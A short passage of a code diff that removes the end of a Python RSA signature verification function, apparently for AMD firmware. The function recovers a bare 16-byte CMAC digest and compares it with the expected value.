-    (no DigestInfo ASN.1 wrapper, as AMD uses a bare 16-byte CMAC).
-    """
-    payload = digest_recover(signature, modulus, exponent)
-    return payload is not None and payload == digest